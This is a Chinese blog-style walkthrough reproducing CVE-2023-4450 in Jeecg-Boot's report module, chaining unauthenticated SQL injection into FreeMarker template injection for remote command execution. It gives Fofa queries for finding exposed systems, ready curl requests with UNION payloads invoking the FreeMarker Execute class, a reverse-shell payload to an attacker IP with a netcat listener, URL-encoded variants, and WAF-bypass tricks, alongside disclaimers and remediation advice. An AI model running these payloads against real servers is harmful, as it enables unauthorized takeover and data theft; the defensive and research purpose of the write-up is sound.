从SQL注入到RCE:Jeecg-Boot积木报表CVE-2023-4450漏洞复现与深度剖析

📅 2026/7/7 12:21:36 👁️ 阅读次数 📝 编程学习
从SQL注入到RCE:Jeecg-Boot积木报表CVE-2023-4450漏洞复现与深度剖析

1. 项目概述:一次从资产测绘到漏洞利用的完整实战

最近在梳理一些开源项目的安全历史时,Jeecg-Boot积木报表模块的CVE-2023-4450漏洞引起了我的注意。这是一个典型的未授权远程代码执行漏洞,影响面广,且利用链清晰,非常适合作为安全研究或渗透测试学习的案例。这个漏洞的核心并不复杂,但整个从发现目标到最终获取权限的过程,却涵盖了现代攻防演练中几个非常关键的环节:如何使用网络空间测绘引擎(如Fofa)精准定位资产、如何快速验证漏洞是否存在、以及如何构造有效的利用载荷。今天,我就把自己复现这个漏洞的完整过程、踩过的坑以及一些思考记录下来,希望能给同样在钻研Web安全的朋友们提供一个清晰的参考。无论你是刚入门的安全爱好者,还是想巩固一下实战流程的从业者,跟着走一遍,应该都能有所收获。

简单来说,CVE-2023-4450漏洞存在于Jeecg-Boot低代码开发平台的“积木报表”模块中。攻击者无需登录,可以直接访问一个特定的API接口,通过注入恶意代码到SQL查询中,最终利用Freemarker模板引擎的特性执行任意系统命令。这意味着,如果一个使用了受影响版本积木报表的Jeecg-Boot系统暴露在公网上,攻击者就可能直接接管服务器。下面,我们就从如何找到这样的目标开始。

2. 漏洞原理深度剖析:SQL注入到RCE的链式反应

在动手复现之前,我们必须先吃透漏洞的原理。一知半解地照搬利用代码是危险的,也学不到东西。CVE-2023-4450的本质是一条从“未授权访问”到“SQL注入”,最终触发“Freemarker模板注入”并实现“远程代码执行”的攻击链。我们一层层拆开来看。

2.1 漏洞入口:未授权的API接口

漏洞的起点是/jmreport/queryFieldBySql这个接口。根据官方文档和代码分析,这个接口的设计初衷是让积木报表模块能够动态地执行用户配置的SQL语句,以获取报表的字段信息。问题在于,这个接口没有配置任何形式的身份认证或授权检查。在Jeecg-Boot中,权限控制通常通过注解如@RequiresPermissions或拦截器实现,但这个接口被遗漏了。这就导致了第一个致命问题:任何能访问到该应用URL的人,都可以直接调用这个接口。

2.2 核心漏洞点:SQL语句的动态拼接与执行

接口会接收一个名为sql的HTTP参数,并将其直接用于数据库查询。在安全的编程实践中,对于动态SQL,必须使用参数化查询(PreparedStatement)来防止注入。但在这里,代码采用了简单的字符串拼接方式。伪代码逻辑类似于:

String userSql = request.getParameter("sql"); String fullSql = "SELECT * FROM (" + userSql + ") tmp LIMIT 1"; // 然后执行 fullSql

当攻击者传入的sql参数不只是一个简单的SELECT语句,而是包含了SQL注释、联合查询甚至内联的表达式时,危险就产生了。但这里的目标不是进行传统的数据窃取或篡改,而是为下一步的Freemarker利用铺路。

2.3 关键跳板:查询结果流入Freemarker模板

Jeecg-Boot使用了Freemarker作为其模板引擎。积木报表模块会将数据库查询的结果集,作为数据模型(Data Model)传递给Freemarker进行渲染,最终生成报表页面。重点来了:Freemarker允许在模板中执行一些内置函数和表达式

攻击者通过SQL注入,可以“控制”查询返回的数据内容。想象一下,我们通过SQL注入,让数据库查询返回一条记录,其中一个字段的值不是普通数据,而是一个特殊的Freemarker表达式,比如${“freemarker.template.utility.Execute”?new()(“whoami”)}。当这个被“污染”的数据被传递给Freemarker引擎处理时,引擎会忠实地执行这个表达式。

2.4 最终执行:Freemarker的“new”函数与命令执行

Freemarker的?new()函数可以实例化一个Java类。freemarker.template.utility.Execute这个类提供了一个执行操作系统命令的构造函数。因此,表达式${“freemarker.template.utility.Execute”?new()(“whoami”)}的含义就是:实例化一个Execute对象,并将“whoami”作为命令传递给它的构造函数并执行。这样一来,SQL注入的结果就成功“转换”成了服务器上的命令执行,完成了从Web层到系统层的突破。

注意:不同版本的Freemarker对安全特性的限制不同。在一些较高版本中,默认配置可能禁止了?new()函数或限制了可实例化的类。这也是为什么该漏洞有特定的版本影响范围。在复现时,需要匹配存在漏洞的Jeecg-Boot和Freemarker版本。

总结一下漏洞链:未授权访问 -> 传入恶意SQL -> SQL注入使查询返回恶意字符串 -> 该字符串作为Freemarker表达式被解析 -> 表达式实例化危险类并执行系统命令。理解了这个链条,我们构造利用载荷时就胸有成竹了。

3. 实战环境搭建与目标搜寻

纸上得来终觉浅,绝知此事要躬行。接下来,我们进入实战环节。首先需要准备一个用于测试的漏洞环境。强烈建议所有测试都在本地或完全可控的隔离虚拟机中进行,严禁对未经授权的任何公网系统进行测试。

3.1 本地漏洞环境搭建

最可靠的方式是本地搭建一个存在漏洞的Jeecg-Boot版本。我们可以通过历史版本代码或者直接使用Docker来快速构建。

方法一:使用Docker(推荐)网络上存在一些安全研究人员为漏洞复现构建的Docker镜像,可以极大节省时间。例如,可以使用以下命令拉取并运行一个包含漏洞的环境:

# 假设存在一个名为vulhub的漏洞环境集合 cd vulhub/jeecg-boot/CVE-2023-4450 docker-compose up -d

等待容器启动后,通常访问http://localhost:8080即可看到Jeecg-Boot的登录页面。这种环境通常已经配置好数据库和示例数据,开箱即用。

方法二:手动编译历史版本如果你希望更深入地了解代码,可以从GitHub上拉取Jeecg-Boot的历史版本代码。漏洞影响的是特定版本范围内的积木报表模块(jeecg-module-report)。你需要找到一个包含漏洞版本的代码,例如2.4.5之前的某个版本。然后使用Maven进行编译打包:

git clone --branch <有漏洞的分支> https://github.com/jeecgboot/jeecg-boot.git cd jeecg-boot mvn clean package -DskipTests

将生成的war包或jar包部署到Tomcat或直接运行。同时,需要手动创建和初始化数据库,过程相对繁琐。

实操心得:对于快速复现和学习,Docker方式是最优选择。它避免了复杂的依赖和环境问题,让你能聚焦在漏洞本身。记得在测试结束后运行docker-compose down来清理环境。

3.2 使用Fofa进行公网资产搜寻(仅用于理解技术)

在真实的安全评估或渗透测试授权项目中,安全工程师可能需要定位客户资产中是否存在此类漏洞。这时,网络空间测绘引擎如Fofa就成为了利器。这里我们仅以技术学习为目的,演示如何构造搜索语法,请勿用于未授权测试

Fofa的搜索语法非常强大。针对Jeecg-Boot,我们可以从以下几个特征入手:

  1. 特定标题或关键字:Jeecg-Boot登录页面有独特的标题。
  2. 特定路径:Jeecg-Boot有一些默认的静态资源路径。
  3. 积木报表模块特有路径:直接定位到存在漏洞的模块。

一个比较精准的搜索语法可以是:

title="Jeecg-Boot" || body="/jmreport/design/index"

或者更宽泛一些:

body="jeecg-boot" && body="积木报表"

在Fofa的搜索结果中,你可以看到目标的IP、端口、协议以及部分HTTP响应头信息。点击“查看”可以快速访问该网站(如果开放了Web服务)。请务必牢记:仅对你拥有书面授权证明的系统进行安全测试。对于学习而言,在本地环境复现已经完全足够。

4. 漏洞复现与利用全流程解析

环境准备好了,现在我们开始一步步攻击我们自己的本地靶机。

4.1 第一步:验证未授权访问与接口存在

首先,我们直接访问漏洞接口,确认其是否存在且未授权。使用浏览器或curl命令:

curl -X POST http://localhost:8080/jeecg-boot/jmreport/queryFieldBySql

如果接口存在且未受保护,你可能会收到一个错误响应,比如提示sql参数为空。这反而是一个好信号,说明接口是开放的。如果返回404,则可能路径不对(有些部署上下文路径可能是//jeecg),或者版本不对。如果返回403或重定向到登录页,则说明该环境可能已经过修补或配置了全局安全策略。

4.2 第二步:构造SQL注入载荷

我们的目标不是进行盲注或拖库,而是要通过SQL注入,让数据库查询返回一个我们精心构造的Freemarker表达式字符串。这里需要根据后端数据库类型来构造。Jeecg-Boot默认支持MySQL等数据库。

针对MySQL的Payload构造思路:我们需要让SELECT * FROM (用户输入) tmp LIMIT 1这个查询,返回一个包含恶意表达式的字段。可以通过UNION SELECT来实现。

首先,需要确定原查询返回的列数。可以通过不断递增UNION SELECT后的NULL数量,直到页面不报错来确定。例如:

sql=1') UNION SELECT NULL-- - sql=1') UNION SELECT NULL,NULL-- - ...

假设我们探测出列数为3。那么,我们就可以构造最终的Payload,让其中一个字段(比如第一个)的值是我们的恶意表达式。由于表达式包含特殊字符,在SQL中需要正确处理字符串和转义。

一个经典的Payload如下(假设列数为3):

sql=1') UNION SELECT '${"freemarker.template.utility.Execute"?new()("id")}',NULL,NULL-- -

这个Payload的意思是:执行一个错误的查询1‘)使其失败,然后通过UNION联合查询,返回一行数据,其中第一列的值是字符串${“freemarker.template.utility.Execute”?new()(“id”)},第二、三列为NULL。

注意事项:这里单引号的闭合和注释符-- -的使用是关键。实际测试时,由于参数通过HTTP传输,需要根据后端框架对参数的处理方式(如URL解码、特殊字符过滤)进行微调。有时可能需要使用URL编码,如空格用+%20,单引号用%27

4.3 第三步:发送恶意请求触发RCE

将构造好的Payload通过POST请求发送给目标接口。我们可以使用curl命令来演示:

curl -X POST http://localhost:8080/jeecg-boot/jmreport/queryFieldBySql \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "sql=1') UNION SELECT '${"freemarker.template.utility.Execute"?new()("id")}',NULL,NULL-- -"

如果漏洞存在,Freemarker引擎在处理查询结果时,会执行${...}中的表达式,即运行系统命令id。命令执行的结果通常会直接输出在HTTP响应中,也可能因为模板渲染错误而出现在错误信息里。

更通用的利用方式:在实际利用中,我们更希望执行任意命令,并获取其输出。可以尝试使用curlwget将命令结果外带到我们的服务器,或者使用ping命令来测试盲注(如果无回显)。例如,执行whoami并查看响应:

curl -X POST http://localhost:8080/jeecg-boot/jmreport/queryFieldBySql \ -d "sql=1') UNION SELECT '${"freemarker.template.utility.Execute"?new()("whoami")}',NULL,NULL-- -"

在响应HTML中搜索rootwww-dataadministrator等用户名关键词,如果找到,则证明命令执行成功。

4.4 第四步:获取交互式Shell

单纯执行命令并查看回显,对于复杂操作来说很不方便。下一步的目标是获取一个反向Shell,从而获得一个交互式的命令行环境。

1. 在攻击机上监听:在你自己控制的外网服务器或本地虚拟机的另一个终端上,使用Netcat监听一个端口:

nc -lvnp 4444

2. 构造反弹Shell命令:Linux下常用的反弹Shell命令是:

bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'

我们需要将这个命令作为字符串,嵌入到之前的Freemarker表达式中。由于命令中包含了空格、单引号、重定向符号等,需要格外小心地处理转义和URL编码。

3. 构造最终的HTTP请求:一个经过编码的Payload可能长这样(假设攻击机IP为192.168.1.100):

sql=1‘)+UNION+SELECT+‘${“freemarker.template.utility.Execute”?new()(“bash+-c+‘bash+-i+>%26+/dev/tcp/192.168.1.100/4444+0>%261’”)}’,NULL,NULL--+

重要提示:这里的转义非常复杂。在实际操作中,我强烈建议使用Burp Suite这类工具。先在Repeater模块中构造一个简单的Payload测试通,然后逐步替换为复杂的反弹Shell命令,并观察编码情况。也可以使用Python等脚本动态生成正确编码的Payload。

如果一切顺利,你会在Netcat监听端看到来自目标服务器的连接,并得到一个Shell。至此,漏洞复现的全流程就完成了。

5. 漏洞修复与安全加固建议

复现漏洞是为了更好地防御。如果你是Jeecg-Boot的使用者或开发者,请务必立即采取以下措施。

5.1 官方修复方案

Jeecg-Boot官方在漏洞披露后发布了安全更新。最根本的修复方案是:

  1. 升级版本:将Jeecg-Boot及积木报表模块升级到官方发布的最新安全版本。这是最直接有效的方法。
  2. 官方补丁:查看官方GitHub仓库的Security Advisories或提交历史,找到针对CVE-2023-4450的修复commit。修复通常涉及两个方面:
    • 接口鉴权:在/jmreport/queryFieldBySql接口上添加严格的权限校验注解,如@RequiresPermissions
    • 输入过滤:对传入的sql参数进行严格的过滤或白名单校验,禁止执行非预期的SQL语句。或者,彻底重构该功能,使用参数化查询等安全方式。

5.2 临时缓解措施

如果因故无法立即升级,可以采取以下临时措施降低风险:

  1. 网络层访问控制:在防火墙或WAF(Web应用防火墙)上设置规则,禁止外部IP访问/jmreport/queryFieldBySql路径。确保该接口仅能被内部可信网络或管理后台访问。
  2. 应用层拦截:在项目的全局拦截器或过滤器中,添加对该路径的访问控制逻辑,强制要求用户登录并具备相应角色。
  3. 禁用Freemarker危险函数:在Freemarker的配置中,通过freemarker.template.utility设置,限制或禁止ExecuteObjectConstructor等危险类的实例化。但这可能影响其他正常功能,需谨慎评估。

5.3 安全开发规范

从根源上避免此类漏洞,需要在开发阶段就建立安全意识:

  1. 默认拒绝:所有API接口,除非明确需要公开,否则都应默认要求身份认证和权限校验。使用框架提供的安全注解是高效的方式。
  2. 输入即原罪:对所有用户输入(包括参数、Header、Cookie)都视为不可信的。进行严格的校验、过滤和转义。对于SQL,必须使用预编译(PreparedStatement)或安全的ORM框架。
  3. 最小权限原则:应用程序连接数据库的账户,不应具有FILEEXECUTEGRANT等高权限。运行应用的服务器进程,也应使用非root低权限用户。
  4. 依赖组件管理:定期梳理和升级项目依赖的第三方库(如Freemarker、Fastjson等),关注其安全公告,及时修补已知漏洞。

6. 复现过程中的常见问题与排查技巧

在复现过程中,你可能会遇到各种问题。这里我记录了几个典型问题和解决方法。

6.1 问题一:接口返回404或405错误

  • 可能原因1:路径错误。Jeecg-Boot的上下文路径(Context Path)可能不是默认的/jeecg-boot。检查应用启动日志或访问其登录页,查看静态资源的路径前缀。
  • 排查:访问http://目标:端口/http://目标:端口/jeecg,观察是否能打开登录页。用浏览器开发者工具查看任意一个静态资源(如JS、CSS)的完整URL,即可确定上下文路径。
  • 可能原因2:请求方法错误。虽然漏洞利用通常用POST,但有些环境可能只接受GET,或者反过来。
  • 排查:尝试用curl -X GETcurl -X POST分别测试,并观察响应。

6.2 问题二:SQL注入不成功,无回显

  • 可能原因1:SQL语法不兼容。Payload中的注释符-- -在特定数据库(如Oracle)中可能无效。
  • 排查:尝试换用其他注释符,如MySQL的#(需URL编码为%23)。或者调整Payload结构,避免使用注释,直接闭合原SQL语句。
  • 可能原因2:存在WAF或简单过滤。应用可能对unionselect等关键字进行了简单过滤或转义。
  • 排查:尝试使用大小写混合、双写关键字(如uniunionon)、或使用等价函数/语句替换。也可以尝试使用基于布尔或时间的盲注Payload来测试注入点是否真的存在。

6.3 问题三:Freemarker表达式未执行

  • 可能原因1:Freemarker版本较高,安全配置已启用。高版本Freemarker默认可能禁止了?new()函数。
  • 排查:尝试使用其他已知的Freemarker模板注入Payload,如<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }。或者尝试读取系统属性${“user.dir”}来测试简单的表达式注入是否生效。
  • 可能原因2:返回的数据未被当作Freemarker表达式解析。可能查询结果经过了HTML编码或其他处理,${被转义了。
  • 排查:查看HTTP响应,确认你注入的字符串是否原封不动地出现在返回的HTML或JSON中。如果被转义(如&dollar;{),则需要找到未被转义的输出点。

6.4 问题四:命令执行成功但无回显/不回连

  • 可能原因1:目标服务器出网受限。服务器可能处于内网,或防火墙策略禁止了外发连接到你的监听端口。
  • 排查:先尝试执行一个能直接在响应中看到结果的命令,如whoamiping -c 1 127.0.0.1(看响应时间)。如果whoami有回显但反弹Shell不成功,大概率是网络问题。
  • 可能原因2:反弹Shell命令语法问题。不同Linux发行版的Shell(bash, sh, zsh)以及不同工具(nc, socat)的语法有差异。
  • 排查:尝试使用更通用的命令,如sh -i >& /dev/tcp/...。或者使用多种编码方式生成Payload,并用Burp Suite反复测试。也可以考虑使用curlwget将命令结果上传到公网服务器作为替代方案。

实操心得:漏洞复现很少能一次成功。耐心和细致的观察是关键。一定要充分利用Burp Suite的Repeater和Decoder模块,对比请求与响应,一点点调整Payload。每次只改变一个变量,才能准确定位问题所在。